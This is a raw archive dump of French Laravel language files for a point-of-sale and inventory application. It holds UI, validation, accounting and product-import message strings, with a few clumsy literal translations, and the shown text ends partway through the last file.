�ZQ=w� � fr/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Ces identifiants ne correspondent pas à nos enregistrements', 'throttle' => 'Tentatives de connexion trop nombreuses. Veuillez essayer de nouveau dans :seconds secondes.', ]; PK G �Z��� fr/paginate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Précédent', 'next' => 'Suivant »', ]; PK G �Z��b� � fr/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => 'Le champ :attribute doit être accepté.', 'active_url' => "Le champ :attribute n'est pas une URL valide.", 'after' => 'Le champ :attribute doit être une date postérieure au :date.', 'after_or_equal' => 'Le champ :attribute doit être une date postérieure ou égale au :date.', 'alpha' => 'Le champ :attribute doit contenir uniquement des lettres.', 'alpha_dash' => 'Le champ :attribute doit contenir uniquement des lettres, des chiffres et des tirets.', 'alpha_num' => 'Le champ :attribute doit contenir uniquement des chiffres et des lettres.', 'array' => 'Le champ :attribute doit être un tableau.', 'before' => 'Le champ :attribute doit être une date antérieure au :date.', 'before_or_equal' => 'Le champ :attribute doit être une date antérieure ou égale au :date.', 'between' => [ 'numeric' => 'La valeur de :attribute doit être comprise entre :min et :max.', 'file' => 'La taille du fichier de :attribute doit être comprise entre :min et :max kilo-octets.', 'string' => 'Le texte :attribute doit contenir entre :min et :max caractères.', 'array' => 'Le tableau :attribute doit contenir entre :min et :max éléments.', ], 'boolean' => 'Le champ :attribute doit être vrai ou faux.', 'confirmed' => 'Le champ de confirmation :attribute ne correspond pas.', 'date' => "Le champ :attribute n'est pas une date valide.", 'date_format' => 'Le champ :attribute ne correspond pas au format :format.', 'different' => 'Les champs :attribute et :other doivent être différents.', 'digits' => 'Le champ :attribute doit contenir :digits chiffres.', 'digits_between' => 'Le champ :attribute doit contenir entre :min et :max chiffres.', 'dimensions' => "La taille de l'image :attribute n'est pas conforme.", 'distinct' => 'Le champ :attribute a une valeur en double.', 'email' => 'Le champ :attribute doit être une adresse courriel valide.', 'exists' => 'Le champ :attribute sélectionné est invalide.', 'file' => 'Le champ :attribute doit être un fichier.', 'filled' => 'Le champ :attribute doit avoir une valeur.', 'image' => 'Le champ :attribute doit être une image.', 'in' => 'Le champ :attribute est invalide.', 'in_array' => "Le champ :attribute n'existe pas dans :other.", 'integer' => 'Le champ :attribute doit être un entier.', 'ip' => 'Le champ :attribute doit être une adresse IP valide.', 'ipv4' => 'Le champ :attribute doit être une adresse IPv4 valide.', 'ipv6' => 'Le champ :attribute doit être une adresse IPv6 valide.', 'json' => 'Le champ :attribute doit être un document JSON valide.', 'max' => [ 'numeric' => 'La valeur de :attribute ne peut être supérieure à :max.', 'file' => 'La taille du fichier de :attribute ne peut pas dépasser :max kilo-octets.', 'string' => 'Le texte de :attribute ne peut contenir plus de :max caractères.', 'array' => 'Le tableau :attribute ne peut contenir plus de :max éléments.', ], 'mimes' => 'Le champ :attribute doit être un fichier de type : :values.', 'mimetypes' => 'Le champ :attribute doit être un fichier de type : :values.', 'min' => [ 'numeric' => 'La valeur de :attribute doit être supérieure ou égale à :min.', 'file' => 'La taille du fichier de :attribute doit être supérieure à :min kilo-octets.', 'string' => 'Le texte :attribute doit contenir au moins :min caractères.', 'array' => 'Le tableau :attribute doit contenir au moins :min éléments.', ], 'not_in' => "Le champ :attribute sélectionné n'est pas valide.", 'numeric' => 'Le champ :attribute doit contenir un nombre.', 'present' => 'Le champ :attribute doit être présent.', 'regex' => 'Le format du champ :attribute est invalide.', 'required' => 'Le champ :attribute est obligatoire.', 'required_if' => 'Le champ :attribute est obligatoire quand la valeur de :other est :value.', 'required_unless' => 'Le champ :attribute est obligatoire sauf si :other est :values.', 'required_with' => 'Le champ :attribute est obligatoire quand :values est présent.', 'required_with_all' => 'Le champ :attribute est obligatoire quand :values est présent.', 'required_without' => "Le champ :attribute est obligatoire quand :values n'est pas présent.", 'required_without_all' => "Le champ :attribute est requis quand aucun de :values n'est présent.", 'same' => 'Les champs :attribute et :other doivent être identiques.', 'size' => [ 'numeric' => 'La valeur de :attribute doit être :size.', 'file' => 'La taille du fichier de :attribute doit être de :size kilo-octets.', 'string' => 'Le texte de :attribute doit contenir :size caractères.', 'array' => 'Le tableau :attribute doit contenir :size éléments.', ], 'string' => 'Le champ :attribute doit être une chaîne de caractères.', 'timezone' => 'Le champ :attribute doit être un fuseau horaire valide.', 'unique' => 'La valeur du champ :attribute est déjà utilisée.', 'uploaded' => "Le fichier du champ :attribute n'a pu être téléversé.", 'url' => "Le format de l'URL de :attribute n'est pas valide.", /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [ 'name' => 'nom', 'username' => "nom d'utilisateur", 'email' => 'adresse courriel', 'first_name' => 'prénom', 'last_name' => 'nom', 'password' => 'mot de passe', 'password_confirmation' => 'confirmation du mot de passe', 'city' => 'ville', 'country' => 'pays', 'address' => 'adresse', 'phone' => 'téléphone', 'mobile' => 'portable', 'age' => 'âge', 'sex' => 'sexe', 'gender' => 'genre', 'day' => 'jour', 'month' => 'mois', 'year' => 'année', 'hour' => 'heure', 'minute' => 'minute', 'second' => 'seconde', 'title' => 'titre', 'content' => 'contenu', 'description' => 'description', 'excerpt' => 'extrait', 'date' => 'date', 'time' => 'heure', 'available' => 'disponible', 'size' => 'taille', ], 'custom-messages' => [ 'quantity_not_available' => 'Seulement :qty :unit disponible', 'this_field_is_required' => 'Ce champ est requis', ], ]; PK G �Z��@� � fr/account.phpnu �[��� <?php return [ 'account' => 'Compte', 'manage_your_account' => 'Gérer votre compte', 'all_accounts' => 'Tous les comptes', 'account_number' => 'Numéro de compte', 'add_account' => 'Ajouter un compte', 'account_created_success' => 'Compte créé avec succès', 'account_updated_success' => 'Compte mis à jour avec succès', 'edit_account' => 'Modifier le compte', 'account_closed_success' => 'Compte fermé avec succès', 'closed' => 'Fermé', 'list_accounts' => 'Liste des comptes', 'opening_balance' => "Solde d'ouverture", 'account_book' => 'Livre de comptes', 'credit' => 'Crédit', 'debit' => 'Débit', 'account_name' => 'Nom du compte', 'transaction_type' => 'Type de transaction', 'fund_transfer' => 'Transfert de fonds', 'selected_account' => 'Compte sélectionné', 'transfer_to' => 'Transférer à', 'fund_transfered_success' => 'Fonds transféré avec succès', 'deposit' => 'Dépôt', 'deposited_successfully' => 'Montant déposé avec succès', 'from' => 'De', 'to' => 'À', 'balance_sheet' => 'Bilan', 'liability' => 'Responsabilité', 'assets' => 'Les atouts', 'supplier_due' => 'Fournisseur dû', 'customer_due' => 'Client dû', 'account_balances' => 'Soldes du compte', 'total_assets' => 'Actif total', 'total_liability' => 'Responsabilité totale', 'trial_balance' => "Balance d'essai", 'payments_not_linked_with_account' => 'Total <b>:payments </b> non liés à un compte.', 'saving_current' => 'Saving / Current', 'capital' => 'Capitale', 'not_applicable' => "N'est pas applicable", 'account_type' => 'Type de compte', 'accounts' => 'Comptes', 'capital_accounts' => 'Comptes de capital', 'deposit_from' => 'Dépôt de', 'no_capital_account_created' => "Aucun compte de capital actif n'existe.", 'payment_account_report' => 'Rapport de compte de paiement', 'invoice_ref_no' => 'N ° de facture / n ° de référence', 'payment_ref_no' => 'Paiement n ° réf.', 'payment_for' => 'Paiement pour', 'link_account' => 'Lien de compte', 'account_linked_success' => 'Compte lié avec succès', 'view_details' => 'Voir les détails', ]; PK G �ZL�� � fr/contact.phpnu �[��� <?php return [ 'contacts' => 'Contacts', 'name' => 'Nom', 'contact' => 'Contact', 'manage_your_contact' => 'Gérer vos :contacts', 'all_your_contact' => 'Tous vos :contacts', 'add_contact' => 'Ajouter un nouveau contact', 'contact_type' => 'Type de contact', 'tax_no' => "Numéro d'identification fiscale", 'pay_term' => 'Conditions de paiement', 'pay_term_period' => 'Payer la période', 'mobile' => 'Mobile', 'landline' => 'Ligne fixe', 'alternate_contact_number' => 'Numéro de contact alternatif', 'edit_contact' => 'Modifier le contact', 'added_success' => 'Contact ajouté avec succès', 'updated_success' => 'Contact mis à jour avec succès', 'deleted_success' => 'Contact supprimé avec succès', 'add_new_customer' => 'Ajouter un nouveau client', 'view_contact' => 'Voir contacts', 'contact_info' => 'Informations du :contact', 'all_purchases_linked_to_this_contact' => 'Tous les achats liés à ce contact', 'all_sells_linked_to_this_contact' => 'Toutes les ventes liées à ce contact', 'total_purchase_due' => 'Total des achats impayés', 'pay_due_amount' => 'Montant dû', 'total_paid' => 'Total payé', 'total_purchase_paid' => "Total des paiements d'achat", 'total_sale_paid' => 'Total des paiements de vente', 'total_sale_due' => 'Total des ventes impayées', 'customer' => 'Client', ]; PK G �Zpn��p p fr/sale.phpnu �[��� <?php return [ 'sale' => 'Ventes', 'sells' => 'Ventes', 'list_sale' => 'Liste des ventes', 'add_sale' => 'Ajouter une vente', 'pos_sale' => 'POS (PDV)', 'draft_added' => 'Brouillon ajouté avec succès', 'invoice_added' => 'Facture ajoutée avec succès', 'item' => 'Articles', 'total' => 'Total', 'order_tax' => 'Taxe de commande', 'discount' => 'Remise', 'total_payable' => 'Total à payer', 'cancel' => 'Annuler', 'draft' => 'Brouillon', 'finalize' => 'Payer et finaliser', 'express_finalize' => 'Finaliser <br/> Rapidement', 'product' => 'Produit', 'products' => 'Produits', 'unit_price' => 'Prix unitaire', 'qty' => 'Quantité', 'subtotal' => 'Total', 'recent_transactions' => 'Vos transactions récentes', 'pos_sale_added' => 'Vente ajoutée avec succès', 'price_inc_tax' => 'Prix TTC', 'tax' => 'Impôt', 'edit_discount' => 'Modifier la remise', 'edit_order_tax' => 'Modifier la taxe de commande', 'discount_type' => 'Type de remise', 'discount_amount' => 'Montant de remise', 'no_recent_transactions' => 'Aucune transaction récente', 'final' => 'Final', 'invoice_no' => 'Facture n°.', 'customer_name' => 'Nom du client', 'payment_status' => 'Statut de paiement', 'status' => 'Statut', 'total_amount' => 'Montant total', 'total_paid' => 'Total payé', 'total_remaining' => 'Total restant', 'payment_info' => 'Information de paiement', 'drafts' => 'Brouillons', 'all_drafts' => 'Tous les brouillons', 'sell_details' => 'Détails de vente', 'payments' => 'Paiements', 'amount' => 'Montant', 'payment_mode' => 'Mode de paiement', 'payment_note' => 'Note de paiement', 'sell_note' => 'Note de vente', 'staff_note' => 'Note du personnel', 'draft_updated' => 'Brouillon mis à jour avec succès', 'pos_sale_updated' => 'Vente mise à jour avec succès', 'location' => 'Emplacement', 'add_payment_row' => 'Ajouter une ligne de paiement', 'finalize_payment' => 'Finaliser le paiement', 'sale_date' => 'Date de vente', 'list_pos' => 'Liste POS (PDV)', 'edit_sale' => 'Modifier la vente', 'shipping' => 'Expédition', 'shipping_details' => "Les détails d'expédition", 'shipping_charges' => "Frais d'expédition", ]; PK G �Z;$�{y y fr/report.phpnu �[��� <?php return [ 'reports' => 'Rapports', 'purchase_sell_report' => 'Achat & Vente', 'purchase_sell' => "Rapport d'achat et de vente", 'purchase_sell_msg' => "Détails d'achat et de vente pour la période sélectionnée", 'total_purchase' => 'Total achat', 'purchase_inc_tax' => 'Achat TTC', 'total_sell' => 'Total des ventes', 'sell_inc_tax' => 'Vente TTC', 'purchase_due' => 'Achat dû', 'sell_due' => 'Vente due', 'overall' => 'Global (Vente-Achat)', 'sell_minus_purchase' => 'Vente - Achat', 'difference_due' => 'Montant dû', 'customer' => 'Clients', 'supplier' => 'Fournisseurs', 'total_due' => 'Dû', 'contacts' => 'Rapport fournisseur et client', 'contact' => 'Contact', 'stock_report' => 'Rapport de stock', 'products' => 'Produits', 'current_stock' => 'Stock actuel', 'total_unit_sold' => 'Unité totale vendue', 'tax_report' => "Rapport d'impôt", 'tax_report_msg' => "Détails de l'impôt pour la période sélectionnée", 'input_tax' => "Taxe à l'entrée", 'output_tax' => 'Taxe à la sortie', 'tax_overall' => 'Global (Entrée - Sortie)', 'input_tax_minus_output_tax' => "Taxe à l'entrée - Taxe à la sortie", 'trending_products' => 'Tendance des produits', 'apply_filters' => 'Appliquer les filtres', 'filters' => 'Filtres', 'expense_report' => 'Rapport de dépenses', 'total_expense' => 'Total des dépenses', 'others' => 'Autres', 'all' => 'Tous', 'top_trending_products' => 'Produits les plus populaires', 'all_locations' => 'Tous les lieux', 'stock_adjustment_report' => "Rapport d'ajustement", 'total_stock_adjustment' => "Total d'ajustement des stocks", 'total_recovered' => 'Montant total récupéré', 'total_normal' => 'Total normal', 'total_abnormal' => 'Total anormal', 'register_report' => 'Rapport de caisse', 'open_time' => 'Temps ouvert', 'close_time' => 'La période de fermeture', 'user' => 'Utilisateur', 'all_users' => 'Tous les utilisateurs', 'sales_representative' => 'Rapport du représentant', 'sales_representative_expenses' => 'Toutes les dépenses liées au représentant des ventes', 'summary' => 'Résumé', 'date_range' => 'Plage de dates', 'stock_expiry_report' => "Rapport d'expiration du stock", 'stock_left' => 'Stock restant', 'expired' => 'Expiré', 'view_stocks' => 'Voir les stocks', 'expiring_in_1_week' => 'Expirant dans une semaine', 'expiring_in_15_days' => 'Expirant dans 15 jours', 'expiring_in_1_month' => 'Expirant dans un mois', 'expiring_in_3_months' => 'Expirant dans 3 mois', 'expiring_in_6_months' => 'Expirant dans 6 mois', 'expiring_in_1_year' => 'Expirant dans un an', 'profit_loss' => 'Rapport Profit / Perte', 'opening_stock' => "Stock d'ouverture", 'closing_stock' => 'Stock de clôture', 'total_expense' => 'Total des dépenses', 'net_profit' => 'Bénéfice net', 'total_stock_adjustment' => "Total stock d'adjustment", 'total_stock_recovered' => 'Total stock récupéré', ]; PK G �Zn ��� � fr/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reminder Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Les mots de passe doivent contenir au moins six caractères et être identiques.', 'reset' => 'Votre mot de passe a été réinitialisé !', 'sent' => 'Nous vous avons envoyé par courriel le lien de réinitialisation du mot de passe !', 'token' => "Ce jeton de réinitialisation du mot de passe n'est pas valide.", 'user' => "Aucun utilisateur n'a été trouvé avec cette adresse courriel.", ]; PK G �Z�M�>� � fr/unit.phpnu �[��� <?php return [ 'units' => 'Unités', 'manage_your_units' => 'Gérez vos unités', 'all_your_units' => 'Toutes vos unités', 'name' => 'Nom', 'short_name' => 'Nom court', 'allow_decimal' => 'Autoriser la décimale', 'added_success' => 'Unité ajoutée avec succès', 'updated_success' => 'Unité mise à jour avec succès', 'deleted_success' => 'Unité supprimée avec succès', 'add_unit' => 'Ajouter une unité', 'edit_unit' => "Modifier l'unité", ]; PK G �Z��b�� � fr/printer.phpnu �[��� <?php return [ 'printers' => 'Imprimantes', 'add_printer' => 'Ajouter une imprimante', 'name' => "Nom de l'imprimante", 'connection_type' => 'Type de connexion', 'capability_profile' => 'Profil de capacité', 'ip_address' => 'Adresse IP', 'port' => 'Port', 'path' => 'Chemin', 'added_success' => 'Imprimante ajoutée avec succès', 'manage_your_printers' => 'Gérer vos imprimantes', 'all_your_printer' => 'Toutes les imprimantes configurées', 'deleted_success' => 'Imprimante supprimée avec succès', 'edit_printer_setting' => "Modifier la configuration de l'imprimante", 'receipt_printers' => 'Imprimantes de reçu', 'character_per_line' => 'Caractères par ligne', 'printer_name' => "Nom de l'imprimante", 'updated_success' => 'Imprimante mise à jour avec succès', 'edit_printer' => "Modifier l'imprimante", ]; PK G �Z}R��T �T fr/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => "Activer l'édition du prix du produit à partir de l'écran d'achat", 'sales_commission_agent' => 'Agent de la Commission des ventes', 'sales_commission_agents' => 'Agents de la Commission', 'disable' => 'Désactiver', 'logged_in_user' => 'Utilisateur connecté', 'select_from_users_list' => 'Sélectionnez dans la liste des utilisateurs', 'select_from_commisssion_agents_list' => "Sélectionnez dans la liste de l'agent de commission", 'add_sales_commission_agent' => 'Ajouter un agent de commission de vente', 'commission_agent_added_success' => 'Agent de la Commission ajouté avec succès', 'edit_sales_commission_agent' => "Modifier l'agent de commission de vente", 'commission_agent_updated_success' => 'Agent de la Commission mis à jour avec succès', 'commission_agent_deleted_success' => 'Agent de la Commission supprimé avec succès', 'contact_no' => 'Numéro de contact', 'commission_agent' => 'Agent de commission', 'cmmsn_percent' => 'Pourcentage de commission de vente (%)', 'sales_added' => 'Ventes ajoutées', 'sales_with_commission' => 'Ventes à la Commission', //"total_sale_with_commission" => "Vente totale avec commission", 'total_sale_commission' => 'Total de commission de vente', 'sales_item_addition_method' => "Méthode d'ajout d'article de vente", 'add_item_in_new_row' => 'Ajouter un élément dans une nouvelle ligne', 'increase_item_qty' => "Augmenter la quantité d'article si elle existe déjà", 'stock_transfers' => 'Transferts de stock', 'all_stock_transfers' => 'Tous les transferts de stock', 'add_stock_transfer' => 'Ajouter un transfert de stock', 'list_stock_transfers' => 'Liste des transferts de stock', 'location_from' => 'Lieu (Du)', 'location_to' => 'Lieu (Au)', 'shipping_charges' => "Frais d'expédition", 'stock_transfer_added_successfully' => 'Transfert de stock ajouté avec succès', 'stock_transfer_delete_success' => 'Transfert de stock supprimé avec succès', 'stock_transfer_cannot_be_deleted' => "Ce transfert d'articles ne peut être supprimé car certaines articles sont déjà vendues", 'total_transfer_shipping_charges' => "Total des frais d'expédition de transfert", 'enable_inline_tax' => "Activer la taxe en ligne à l'achat et à la vente", 'save_n_add_opening_stock' => "Enregistrer et ajouter un stock d'ouverture", 'add_opening_stock' => "Ajouter un stock d'ouverture", 'opening_stock_added_successfully' => "Stock d'ouverture ajouté avec succès", 'update_n_edit_opening_stock' => "Mettre à jour et modifier le stock d'ouverture", 'total_amount_exc_tax' => 'Montant total (hors taxe)', 'currency_symbol_placement' => 'Placement de symbole monétaire', 'before_amount' => 'Avant le montant', 'after_amount' => 'Après montant', 'barcode_label_error' => 'ID SKU non pris en charge pour le type de code-barres sélectionné', 'list_products' => 'Liste des produits', 'list_expenses' => 'Liste des dépenses', 'add_expiry' => "Ajouter une date d'expiration", 'add_manufacturing_auto_expiry' => "Ajouter la date de fabrication et la période d'expiration", 'tooltip_enable_expiry' => "Activer l'expiration du produit. <br/> <br/><b>Ajouter une date d'expiration</b>: Pour ajouter directement l'expiration de l'article seulement. <br/> <b>Ajouter la date de fabrication et la période d'expiration</b>: Pour ajouter la date de fabrication et la période d'expiration et calculer la date d'expiration en fonction de cela.", 'quantity' => 'Quantité', 'on_product_expiry' => "À l'expiration du produit", 'keep_selling' => 'Continuez à vendre', 'stop_selling' => 'Arrêtez de vendre n jours avant', 'tooltip_on_product_expiry' => "Indiquez l'action à effectuer à l'expiration du produit. <br><br> <b>Continuez à vendre</b>: Les produits seront conservés à la vente après l'expiration également. <br> <b>Arrêtez la vente</b>: Arrêtez de vendre l'article n jours avant l'expiration.", 'output_tax_minus_input_tax' => "Taxe à la sortie - Taxe à l'entrée", 'total_purchase_discount' => "Remise totale d'achats", 'total_sell_discount' => 'Remise totale des ventes', 'updated_succesfully' => 'Mis à jour avec succés', 'default_unit' => 'Unité par défaut', 'enable_brand' => 'Activer les marques', 'enable_category' => 'Activer les catégories', 'enable_sub_category' => 'Activer les sous-catégories', 'enable_price_tax' => 'Activer les informations sur les prix et les taxes', 'enable_purchase_status' => "Activer le statut d'achat", 'tooltip_enable_purchase_status' => 'En cas de désactivation, tous les achats seront marqués comme <i> Élément reçu </i>', 'recent_product_quantity' => 'Aller à la quantité de produit', 'full_screen' => 'Plein écran', 'Uncategorised' => 'Non classé', 'no_products_to_display' => 'Aucun produit à afficher', 'item_out_of_stock' => 'Produit en rupture de stock', 'go_back' => 'Retourner', 'disable_pay_checkout' => 'Désactiver le paiement et le paiement', 'disable_draft' => 'Désactiver le brouillon', 'disable_express_checkout' => 'Désactiver le paiement express', 'hide_product_suggestion' => 'Ne pas afficher la suggestion de produit', 'hide_recent_trans' => 'Ne pas montrer les transactions récentes', 'pos_settings' => 'Paramètres POS', 'disable_discount' => 'Désactiver le rabais', 'disable_order_tax' => 'Désactiver la taxe de commande', 'customer_groups' => 'Groupes de clients', 'customer_group' => 'Groupe de clients', 'all_your_customer_groups' => 'Tous les groupes de clients', 'add_customer_group' => 'Ajouter un groupe de clients', 'customer_group_name' => 'Nom du groupe de clients', 'calculation_percentage' => 'Pourcentage de calcul (%)', 'tooltip_calculation_percentage' => '<b> Prix de vente = Prix de vente Ensemble Pour le produit + Pourcentage de calcul </b> <br/> <br/> Vous pouvez spécifier le pourcentage comme positif pour augmenter et négatif pour diminuer le prix de vente.', 'success' => 'Succès', 'edit_customer_group' => 'Modifier le groupe de clients', 'customer_groups_report' => 'Rapport des groupes de clients', 'none' => 'Aucun', 'enable_imei_or_sr_no' => 'Activer IMEI ou numéro de série', 'tooltip_sr_no' => "Activer ou désactiver l'ajout d'IMEI ou de numéro de série du produit lors de l'ajout de produits dans l'écran POS", 'description' => 'La description', 'sell_line_description_help' => "Ajouter le produit IMEI, le numéro de série ou d'autres informations ici.", 'unit_cost_before_discount' => 'Coût unitaire (avant remise)', 'discount_percent' => "Pourcentage d'escompte", 'application_tour' => 'Application Tour', 'profile' => 'Profil', 'sign_out' => 'Déconnexion', 'my_profile' => 'Mon profil', 'Admin' => 'Admin', 'Cashier' => 'La caissière', 'both_supplier_customer' => 'Les deux (fournisseur et client)', 'months' => 'Mois', 'days' => 'Journées', 'suppliers' => 'Fournisseurs', 'customers' => 'Les clients', 'enter_product_name_to_print_labels' => 'Entrez le nom du produit pour imprimer les étiquettes', 'manage_product_variations' => 'Gérer les variations de produits', 'all_variations' => 'Toutes les variations', 'values' => 'Valeurs', 'add_variation' => 'Ajouter une variation', 'variation_name' => 'Nom de la variation', 'add_variation_values' => 'Ajouter des valeurs de variation', 'edit_variation' => 'Modifier la variation', 'received' => 'Reçu', 'pending' => 'En attendant', 'ordered' => 'Commandé', 'search_product_placeholder' => 'Entrez le nom du produit / SKU / Code à barres de numérisation', 'fixed' => 'Fixé', 'percentage' => 'Pourcentage', 'select_location' => "Sélectionnez l'emplacement", 'add_description' => 'Ajouter une description', 'cash' => 'En espèces', 'card' => 'Carte', 'cheque' => 'Vérifier', 'bank_transfer' => 'Virement', 'other' => 'Autre', 'payment' => 'Paiement', 'total_items' => 'Articles au total', 'total_paying' => 'Total Payant', 'balance' => 'Équilibre', 'payment_method' => 'Mode de paiement', 'card_no' => 'Numéro de carte', 'card_holder_name' => 'Nom du titulaire', 'card_transaction_no' => 'Numéro de transaction de carte', 'card_type' => 'Type de carte', 'month' => 'Mois', 'year' => 'An', 'security_code' => 'Code de sécurité', 'cheque_no' => 'Numéro du chèque', 'bank_account_number' => 'Compte en banque numéro', 'paid' => 'Payé', 'due' => 'Dû', 'partial' => 'Partiel', 'no_of_products' => 'Nombre de produits', 'select_a_date_range' => 'Sélectionnez une plage de dates', 'shortcut_help' => "Le raccourci devrait être le nom des clés séparées par '+'", 'example' => 'Exemple', 'available_key_names_are' => 'Les noms de clé disponibles sont', 'add_new_product' => 'Ajouter un nouveau produit', 'invoice_logo_help' => 'Max :max_size, jpeg, gif, formats png seulement.', 'invoice_logo_help2' => 'Télécharger seulement si vous voulez remplacer le logo précédent', 'printer_name_help' => "Nom descriptif court pour reconnaître l'imprimante", 'char_per_line_help' => 'Nombre de caractères pouvant être imprimés par ligne', 'ip_address_help' => "Adresse IP pour la connexion à l'imprimante", 'port_help' => 'La plupart des imprimantes fonctionnent sur le port 9100', 'combination_of_taxes' => 'Combinaison de plusieurs taxes', 'product_purchase_report' => "Rapport d'achat de produit", 'unit_perchase_price' => "Prix d'achat unitaire", 'search_product' => 'Rechercher un produit', 'product_sell_report' => 'Rapport de vente de produit', 'unit_sale_price' => 'Prix de vente unitaire', 'contact_id' => 'ID de contact', 'category_code_help' => 'Le code de catégorie est le même que <b> le code HSN </b>', 'sub_heading_line' => 'Sous-titre :_number_', 'date_label' => 'Étiquette de date', 'client_id_label' => "Etiquette d'identification du client", 'product_label' => 'Étiquette du produit', 'qty_label' => 'Étiquette de quantité', 'unit_price_label' => 'Étiquette de prix unitaire', 'subtotal_label' => 'Sous-total', 'product_details_to_be_shown' => 'Détails du produit à afficher', 'show_brand' => 'Montrer la marque', 'show_sku' => 'Afficher le SKU', 'show_cat_code' => 'Afficher le code de catégorie', 'show_client_id' => "Afficher l'identifiant du client", 'show_time_with_date' => "Afficher l'heure avec la date", 'show_sale_description' => 'Afficher la description de la vente', 'product_imei_or_sn' => '(IMEI de produit ou numéro de série)', 'purchase_already_exist' => 'Le produit ne peut pas être supprimé car les achats liés à ce produit existent', 'opening_stock_sold' => 'Le produit ne peut pas être supprimé car certains stocks sont vendus', 'stock_adjusted' => 'Le produit ne peut pas être supprimé car certains stocks sont ajustés', 'product_delete_success' => 'Produit supprimé avec succès', 'manage_products' => 'Gérer vos produits', 'all_products' => 'Tous les produits', 'login' => "S'identifier", 'register' => 'Registre', 'username' => "Nom d'utilisateur", 'password' => 'Mot de passe', 'remember_me' => 'Souviens-toi de moi', 'forgot_your_password' => 'Mot de passe oublié?', 'reset_password' => 'Réinitialiser le mot de passe', 'email_address' => 'Adresse e-mail', 'send_password_reset_link' => 'Envoyer le mot de passe Réinitialiser le lien', 'instructions' => 'Instructions', 'instruction_line1' => "Suivez attentivement les instructions avant d'importer le fichier.", 'instruction_line2' => "Les colonnes du fichier CSV doivent être dans l'ordre suivant.", 'col_no' => 'Numéro de colonne', 'col_name' => 'Nom de colonne', 'instruction' => 'Instruction', 'required' => 'Champs obligatoires', 'optional' => 'Optionnel', 'name_ins' => 'Nom du produit', 'brand_ins' => 'Nom de la marque', 'brand_ins2' => 'Si non trouvé, une nouvelle marque avec le prénom sera créée', 'unit_ins' => "Nom de l'unité", 'category_ins' => 'Nom de la catégorie', 'category_ins2' => 'Si non trouvé, une nouvelle catégorie avec le prénom sera créée', 'sub_category_ins' => 'Nom de la sous-catégorie', 'sub_category_ins2' => 'Si non trouvé, une nouvelle sous-catégorie avec le nom donné sous la catégorie parent <br> sera créée', 'sku_ins' => "SKU du produit: s'il est vide, un SKU sera généré automatiquement", 'barcode_type_ins' => 'Type de code à barres pour le produit.', 'barcode_type_ins2' => 'Actuellement supporté', 'default' => 'Défaut', 'manage_stock_ins' => 'Activer ou désactiver la gestion des stocks', 'alert_qty_ins' => 'Requis si Gérer Stock est 1', 'expires_in_ins' => "Période d'expiration du produit (uniquement en chiffres)", 'expire_period_unit' => "Unité de Période d'Expiration", 'available_options' => 'Options disponibles', 'expire_period_unit_ins' => "Unité pour la période d'expiration", 'applicable_tax_ins' => "Nom du taux d'imposition", 'variation_name_ins' => 'Requis si le type de produit est variable', 'variation_name_ins2' => 'Nom de la variation (Ex: Taille, Couleur etc)', 'variation_values_ins' => 'Requis si le type de produit est variable', 'variation_values_ins2' => "Valeurs pour la variation séparée par '|' '<br> (Ex: Red | Blue | Green)", 'purchase_price_inc_tax' => "Prix d'achat (TTC)", 'purchase_price_inc_tax_ins1' => "Requis si le prix d'achat hors taxe n'est pas indiqué", 'purchase_price_inc_tax_ins2' => "Prix d'achat (TTC) (uniquement en chiffres) <br> <br> Pour les produits variables '|' valeurs séparées avec <br> dans le même ordre que Valeurs de variation <br> (Ex: 84 | 85 | 88) ", 'purchase_price_exc_tax' => "Prix d'achat (hors taxes)", 'purchase_price_exc_tax_ins1' => "Requis si le prix d'achat TTC n'est pas indiqué", 'purchase_price_exc_tax_ins2' => "Prix d'achat (Hors Taxes) (Uniquement en chiffres) <br> <br> Pour les produits variables '|' valeurs séparées avec <br> dans le même ordre que Valeurs de variation <br> (Ex: 84 | 85 | 88) ", 'profit_margin_ins' => 'Profit Margin (Seulement en chiffres)', 'profit_margin_ins1' => "Si une marge de profit par défaut vide est utilisée pour l'activité", 'selling_price' => 'Prix de vente', 'selling_price_ins' => 'Prix de vente (seulement en chiffres)', 'selling_price_ins1' => "Si le prix de vente en blanc est calculé avec le prix d'achat et la taxe applicables", 'opening_stock' => "Stock d'ouverture", 'opening_stock_ins' => "Stock d'ouverture (Seulement en chiffres)", 'only_applicable_to_single_product' => 'Uniquement applicable à un seul produit', 'purchase_delete_success' => 'Achat supprimé avec succès', 'location_ins' => "Si le premier emplacement d'entreprise vide sera utilisé", 'location_ins1' => "Nom de l'emplacement de l'entreprise", 'expiry_date' => "Date d'expiration", 'expiry_date_ins' => "Date d'expiration du stock <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>", 'enable_lot_number' => 'Activer le numéro de lot', 'tooltip_enable_lot_number' => "Cela vous permettra d'entrer le numéro de lot alors que pour chaque ligne d'achat dans l'écran d'achat", 'lot_number' => 'Numéro de lot', 'enable_racks' => 'Activer les racks', 'tooltip_enable_racks' => "Activez cette option pour ajouter des détails de rack d'un produit pour différents sites commerciaux tout en ajoutant des produits", 'rack_details' => 'Détails du rack', 'tooltip_rack_details' => "Entrez les détails de l'emplacement du produit dans le magasin, pour différents sites commerciaux.", 